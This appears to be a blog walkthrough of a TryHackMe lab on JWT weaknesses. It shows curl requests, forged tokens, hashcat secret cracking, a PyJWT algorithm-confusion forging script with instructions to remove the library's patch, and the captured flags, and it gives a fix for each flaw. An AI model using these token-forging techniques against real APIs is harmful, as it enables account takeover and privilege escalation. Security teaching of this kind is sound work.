JWT Security (Part 2)

SwayamInduShashi
13 min readJan 20, 2025

--

Here comes the complicated part……let’s get our hands dirty together

Sensitive Information Disclosure

The first common issue we will dive into is the exposure of sensitive information within the JWT.

A common cookie-based session management approach is using the server-side session to store several parameters. In PHP, for example, you can use $SESSION[‘var’]=data to store a value associated with the user’s session. These values are not exposed client-side and can therefore only be recovered server-side. However, with tokens, the claims are exposed as the entire JWT is sent client-side. If the same development practice is followed, sensitive information can be disclosed. Some examples are seen on real applications:

Credential disclosure with the password hash, or even worse, the clear-text password being sent as a claim.

Exposure of internal network information such as the private IP or hostname of the authentication server.

Practical Example 1

Let’s take a look at a practical example. Let’s authenticate to our API using the following cURL request:

curl -H ‘Content-Type: application/json’ -X POST -d ‘{ “username” : “user”, “password” : “password1” }’ http://10.10.184.31/api/v1.0/example1

This will provide you with a JWT token. Once recovered, decode the body of the JWT to uncover sensitive information. You can decode the body manually or use a website such as JWT.io for this process.

The Development Mistake

In the example, sensitive information was added to the claim, as shown below:

payload = { “username” : username, “password” : password, “admin” : 0, “flag” : “[redacted]” } access_token = jwt.encode(payload, self.secret, algorithm=”HS256")

The Fix

Values such as the password or flag should not be added as claims as the JWT will be sent client-side. Instead, these values should be securely stored server-side in the backend. When required, the username can be read from a verified JWT and used to lookup these values, as shown in the example below:

payload = jwt.decode(token, self.secret, algorithms=”HS256") username = payload[‘username’] flag = self.db_lookup(username, “flag”)

root@ip-10–10–153–125:~# curl -H ‘Content-Type: application/json’ -X POST -d ‘{ “username” : “user”, “password” : “password1” }’ http://10.10.184.31/api/v1.0/example1 { “token”: “eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJwYXNzd29yZCI6InBhc3N3b3JkMSIsImFkbWluIjowLCJmbGFnIjoiVEhNezljYzAzOWNjLWQ4NWYtNDVkMS1hYzNiLTgxOGM4MzgzYTU2MH0ifQ.TkIH_A1zu1mu-zu6_9w_R4FUlYadkyjmXWyD5sqWd5U” }

passing the token through jwt.io

{ “username”: “user”, “password”: “password1”, “admin”: 0, “flag”: “THM{9cc039cc-d85f-45d1-ac3b-818c8383a560}” }

Flag 1: THM{9cc039cc-d85f-45d1-ac3b-818c8383a560}

The second common mistake with JWTs is not correctly verifying the signature. If the signature isn’t correctly verified, a threat actor may be able to forge a valid JWT token to gain access to another user’s account. Let’s examine the common signature verification issues.

Not Verifying the Signature

The first issue with signature validation is when there is no signature validation. If the server does not verify the signature of the JWT, then it is possible to modify the claims in the JWT to whatever you prefer them to be. While it is uncommon to find APIs where no signature validation is performed, signature validation may have been omitted from a single endpoint within the API. Depending on the sensitivity of the endpoint, this can have a significant business impact.

Practical Example 2

Let’s authenticate to the API:

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://MACHINE_IP/api/v1.0/example2

Once authenticated, let’s verify our user:

curl -H 'Authorization: Bearer [JWT Token]' http://MACHINE_IP/api/v1.0/example2?username=user

However, let’s try to verify our user without the signature, remove the third part of the JWT (leaving only the dot) and make the request again. You will see that the verification still works! This means that the signature is not being verified. Modify the admin claim in the payload to be 1 and try to verify as the admin user to retrieve your flag.

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.113.31/api/v1.0/example2
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4"
}

Once authenticated, let’s verify our user:

curl -H 'Authorization: Bearer [JWT Token]' <http://10.10.113.31/api/v1.0/example2?username=user>

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4' <http://10.10.113.31/api/v1.0/example2?username=user>
{
"message": "Welcome user, you are not an admin"
}

However, let’s try to verify our user without the signature, remove the third part of the JWT (leaving only the dot) and make the request again.

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.' <http://10.10.113.31/api/v1.0/example2?username=user>
{
"message": "Welcome user, you are not an admin"
}

You will see that the verification still works! This means that the signature is not being verified. Modify the admin claim in the payload to be 1 (using jwt.io) and try to verify as the admin user to retrieve your flag.

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8' <http://10.10.152.210/api/v1.0/example2?username=admin>
{
"message": "Welcome admin, you are an admin, here is your flag: THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a}"
}

Flag 2: THM{6e32dca9–0d10–4156-a2d9–5e5c7000648a}

The Development Mistake

In the example, the signature is not being verified, as shown below:

payload = jwt.decode(token, options={'verify_signature': False})

While it is rare to see this on normal APIs, it often happens on server-to-server APIs. In cases where a threat actor has direct access to the backend server, JWTs can be forged.

The Fix

The JWT should always be verified or additional authentication factors, such as certificates, should be used for server-to-server communication. The JWT can be verified by providing the secret (or public key), as shown in the example below:

payload = jwt.decode(token, self.secret, algorithms="HS256")

Downgrading to None

Another common issue is a signature algorithm downgrade. JWTs support the None signing algorithm, which effectively means that no signature is used with the JWT. While this may sound silly, the idea behind this in the standard was for server-to-server communication, where the signature of the JWT was verified in an upstream process. Therefore, the second server would not be required to verify the signature. However, suppose the developers do not lock in the signature algorithm or, at the very least, deny the None algorithm. In that case, you can simply change the algorithm specified in your JWT as None, which would then cause the library used for signature verification to always return true, thus allowing you again to forge any claims within your token.

Practical Example 3

Authenticate to the API to receive your JWT and then verify your user. To perform this attack, you will need to manually alter the the alg claim in the header to be None. You can use CyberChef for this making use of the URL-Encoded Base64 option. Submit the JWT again to verify that it is still accepted, even if the signature is no longer valid, as changes have been made. You can then alter the admin claim to recover the flag.

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password3" }' <http://10.10.114.114/api/v1.0/example3>
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8"
}

use jwt.io or cyberchef and modify the first part of the token (under Base64) as

{
"typ": "JWT",
"alg": "None"
}
curl -H 'Authorization: Bearer ew0KICAidHlwIjogIkpXVCIsDQogICJhbGciOiAiTm9uZSINCn0=.ew0KICAidXNlcm5hbWUiOiAidXNlciIsDQogICJhZG1pbiI6IDENCn0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8' <http://10.10.92.134/api/v1.0/example3?username=admin>
{
"message": "Welcome admin, you are an admin, here is your flag: THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba}"
}

Flag 3: THM{fb9341e4–5823–475f-ae50–4f9a1a4489ba}

The Development Mistake

While this may seem like the same issue as before, from a development perspective, it is slightly more complex. Sometimes, developers want to ensure their implementation accepts several JWT signature verification algorithms. The implementation would then usually read the header of the JWT and parse found alg into the signature verification component, as shown below:

header = jwt.get_unverified_header(token)
signature_algorithm = header['alg']payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)

However, when the threat actor specified None as the algorithm, signature verification is bypassed. Pyjwt, the JWT library used in this room, has implemented security coding to prevent this issue. If a secret is specified when the None algorithm is selected, an exception is raised.

The Fix

If multiple signature algorithms should be supported, the supported algorithms should be supplied to the decode function as an array list, as shown below:

payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])
username = payload['username']
flag = self.db_lookup(username, "flag")

Weak Symmetric Secrets

If a symmetric signing algorithm is used, the security of the JWT relies on the strength and entropy of the secret used. If a weak secret is used, it may be possible to perform offline cracking to recover the secret. Once the secret value is known, you can again alter the claims in your JWT and recalculate a valid signature using the secret.

Practical Example 4

For this example, a weak secret was used to generate the JWT. Once you receive a JWT, you have several options to crack the secret. For our example, we will talk about using Hashcat to crack the JWT’s secret. You could also use other solutions such as John as well. You can use the following steps to crack the secret:

  1. Save the JWT to a text file called jwt.txt.
  2. Download a common JWT secret list. For this room, you can use wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list to download such a list.
  3. Use Hashcat to crack the secret using hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list

Once you know what the secret is, you can forge a new admin token to recover the flag!

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password4" }' <http://10.10.92.134/api/v1.0/example4>
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY"
}
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8" > jwt.txt
hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list

hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list --show
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY:**secret**

Go to jwt.io paste the key and set the secret as “secret”

we get a key

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.gpHtgNe4OSgiQHuf8W7JFfSNTi9tEnDKvK7QAk2DFBc' <http://10.10.92.134/api/v1.0/example4?username=admin>
{
"message": "Welcome admin, you are an admin, here is your flag: THM{e1679fef-df56-41cc-85e9-af1e0e12981b}"
}

Flag 4:THM{e1679fef-df56–41cc-85e9-af1e0e12981b}

The Development Mistake

The issue occurs when a weak JWT secret is used. This can often occur when developers are in a hurry or copy code from examples.

The Fix

A secure secret value should be selected. As this value will be used in software and not by humans, a long, random string should be used for the secret.

Signature Algorithm Confusion

The last common issue with signature validation is when an algorithm confusion attack can be performed. This is similar to the None downgrade attack, however, it specifically happens with confusion between symmetric and asymmetric signing algorithms. If an asymmetric signing algorithm, for example, RS256 is used, it may be possible to downgrade the algorithm to HS256. In these cases, some libraries would default back to using the public key as the secret for the symmetric signing algorithm. Since the public key can be known, you can forge a valid signature by using the HS256 algorithm in combination with the public key.

Practical Example 5

This is similar to example 3. Except this time, the None algorithm is not allowed. However, once you authenticate to the example, you will also receive the public key. As the public key isn’t regarded as sensitive, it is common to find the public key. Sometimes, the public key is even embedded as a claim in the JWT. In this example, you must downgrade the algorithm to HS256 and then use the public key as the secret to sign the JWT. You can use the script provided below to assist you in forging this JWT:

import jwt
public_key = "ADD_KEY_HERE"payload = {
'username' : 'user',
'admin' : 0
}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)

Note: We recommend that you use the AttackBox for this practical example since Pyjwt is already installed for you. Before running the script, edit the file /usr/lib/python3/dist-packages/jwt/algorithms.py using your favorite text editor and go to line 143. Then proceed to comment out lines 143-146 and run the script. If you are using your own VM, you may have to install Pyjwt (pip3 install pyjwt) to use this script. You will also need to tamper with the Pyjwt library's algorithm.py file on line 258 to remove the is_ssh_key condition as a patch for this vulnerability was released. Keep in mind that this placement can vary per VM and installation. An easier method if you are not comfortable with library code edits is to make use of jwt.io. Once you verify it works, you can alter the claims to make yourself an admin and recover the flag.

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }' <http://10.10.92.134/api/v1.0/example5>
{
"public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.kR4DjBkwFE9dzPNeiboHqkPhs52QQgaHcC2_UGCtJ3qo2uY-vANIC6qicdsfT37McWYauzm92xflspmSVvrvwXdC2DAL9blz3YRfUOcXJT03fVM7nGp8E7uWSBy9UESLQ6PBZ_c_dTUJhWg35K3d8Jao2czC0JGN3EQxhcCGtxJ1R7T9tzBMaqW-IRXfTCq3BOxVVF66ePEfvG7gdyjAnWrQFktRBIhU4LoYwem3UZ7PolFf0v2i6jpnRJzMpqd2c9oMHOjhCZpy_yJNl-1F_UBbAF1L-pn6SHBOFdIFt_IasJDVPr1Ybv75M26o8OBwUJ1KK_rwX41y5BCNGcks9Q"
}

after this we go to /usr/lib/python3/dist-packages/jwt/algorithms.py and make the following changes and create and modify a py file using [nano jwt.py]

import jwt
public_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip"
payload = {
'username' : 'user',
'admin' : 1
}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)

now run the program and get the token

python3.9 jwt.py
curl -H 'Authorization: Bearer eyJOeXAiOiJKVIQiLCJhbGci
OiJIUz11NiJ9. eyJ1c2VybmFtZS161nVzZX1iLCJhZG1pbi16MXO.7 j JBvWpF9JT4DdeUWn1007imBVO
waOHTDPRMavGbPyU' <http://10.10.115.62/api/v1.O/example5?username=admin>
"message": "Welcome admin, you are an admin, here is your flag: THM{f592dfe2-e
c65-4514-a135-70ba358f22c4)"

Flag 5: THM{f592dfe2-ec65–4514-a135–70ba358f22c4)

The Development Mistake

The mistake in this example is similar to that of example 3 but a bit more complex. While the None algorithm is disallowed, the key issue stems from both symmetric and asymmetric signature algorithms being allowed, as shown in the example below:

payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512", "RS256", "RS384", "RS512"])

Care should be given never to mix signature algorithms together as the secret parameter of the decode function can be confused between being a secret or a public key.

The Fix

While both types of signature algorithms can be allowed, a bit more logic is required to ensure that there is no confusion, as shown in the example below:

header = jwt.get_unverified_header(token)
algorithm = header['alg']
payload = ""
if "RS" in algorithm:
payload = jwt.decode(token, self.public_key, algorithms=["RS256", "RS384", "RS512"])
elif "HS" in algorithm:
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])
username = payload['username']
flag = self.db_lookup(username, "flag")

Token Lifetime

Before verifying the signature of the token, the lifetime of the token should be calculated to ensure that the token has not expired. This is usually performed by reading the exp (expiration time) claim from the token and calculating if the token is still valid.

A common issue is if the exp value is set too large (or not set at all), the token would be valid for too long or might even never expire. With cookies, the cookie can be expired server-side. However, JWTs do not have this same feature built-in. If we want to expire a token before the exp time, we must keep a blocklist of these tokens, breaking the model of decentralised applications using the same authentication server. Therefore, the care should be given to choose the correct exp value, given the application's functionality. For example, a different exp value is probably used between a mail server and a banking application.

Another approach is to use refresher tokens. If you are going to test an API that uses JWTs, it is recommended that you do some research into these.

Practical Example 6

In this example, the JWT implementation did not specify an exp value, meaning tokens are permanently persistent. Use the token below to recover your flag:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU

simply use the token provided like the previous processes

curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU' <http://10.10.92.134/api/v1.0/example6?username=admin>
{
"message": "Welcome admin, you are an admin, here is your flag: THM{a450ae48-7226-4633-a63d-38a625368669}"
}

Flag 6:THM{a450ae48–7226–4633-a63d-38a625368669}

The Development Mistake

As mentioned above, the JWT does not have an exp value, meaning it will be persistent. In the event that an exp claim isn't present, most JWT libraries would accept the token as valid if the signature is verified.

The Fix

An exp value should be added to the claims. Once added, most libraries will include reviewing the expiry time of the JWT into their checks for validity. This can be done as shown in the example below:

lifetime = datetime.datetime.now() + datetime.timedelta(minutes=5)
payload = {
'username' : username,
'admin' : 0,
'exp' : lifetime
}
access_token = jwt.encode(payload, self.secret, algorithm="HS256")

The last common misconfiguration we will review is a Cross-Service misconfiguration. As mentioned before, JWTs are often used in systems with a centralised authentication system that serves multiple applications. However, in some cases, we may want to restrict which applications are accessed with a JWT, especially when there are claims that should only be valid for certain applications. This can be done by using the audience claim. However, if the audience claim isn’t correctly enforced, a Cross-Service Relay attack can be executed to perform a privilege escalation attack.

The Audience Claim

JWTs can have an audience claim. In cases where a single authentication system serves multiple applications, the audience claim can indicate which application the JWT is intended for. However, the enforcement of this audience claim has to occur on the application itself, not the authentication server. If this claim is not verified, as the JWT itself is still regarded as valid through signature verification, it can have unintended consequences.

An example of this is if a user has admin privileges or a higher role on a certain application. The JWT allocated to the user usually has a claim that indicates this, such as "admin" : true. However, that same user is perhaps not an admin on a different application served by the same authentication system. If the audience claim is not verified on this second application, which also makes use of its admin claim, the server may mistakenly believe that the user has admin privileges. This is called a Cross-Service Relay attack, as shown in the animation below:

Let’s take a look at a practical example.

Practical Example 7

For this last practical example, there are two API endpoints namely example7_appA and example7_appB. You can use the same GET request you made in the previous examples to recover the flag, but you will need to point it to these endpoints. Furthermore, for authentication, you now also have to include the "application" : "appX" data value in the login request made to example7. Use the following steps to perform the example:

  1. Authenticate to example7 using the following data segment: '{ "username" : "user", "password" : "password7", "application" : "appA"}'. You will notice that an audience claim is added, but that you are not an admin.
  2. Use this token in both the admin and user requests you make to example7_appA and example7_appB. You will notice that while appA accepts the token, you are not an admin, and appB does not accept the token as the audience is incorrect.
  3. Authenticate to example7 using the following data segment: '{ "username" : "user", "password" : "password7", "application" : "appB"}'. You will notice that an audience claim is added again and you are an admin this time.
  4. Use this token again to verify yourself on both applications and see what happens.

You can use this to now recover your flag.

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7","application" : "appA" }' http://10.10.92.134/api/v1.0/example7
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4"
}

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4' http://10.10.92.134/api/v1.0/example7_appA?username=user
{
"message": "Welcome user, you are not an admin"
}

for appB

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7","application" : "appB" }' http://10.10.92.134/api/v1.0/example7
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o"
}

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.92.134/api/v1.0/example7_appB?username=admin
{
"message": "Welcome admin, you are an admin, but there is no flag for you here"
}

we got admin access in appB now let’s migrate to appA

curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.92.134/api/v1.0/example7_appA?username=admin
{
"message": "Welcome admin, you are an admin, here is your flag: THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}"
}

Flag 7:THM{f0d34fe1–2ba1–44d4-bae7–99bd555a4128}

The Development Mistake

The key issue is that the audience claim is not being verified on appA. This can be either because audience claim verification has been turned off or the audience scope has been set too wide.

The Fix

The audience claim should be verified when the token is decoded. This can be done as shown in the example below:

payload = jwt.decode(token, self.secret, audience=["appA"], algorithms="HS256")

This went a bit longer but hope you could follow along and comment if you get further problems. Thank you

Happy Hacking !!!!!!

--

--

SwayamInduShashi
SwayamInduShashi

Written by SwayamInduShashi

I'm a cyber-security enthusiast, student and a hands on experimenter. I'm going to try to test and learn something new and will be documenting my process.

No responses yet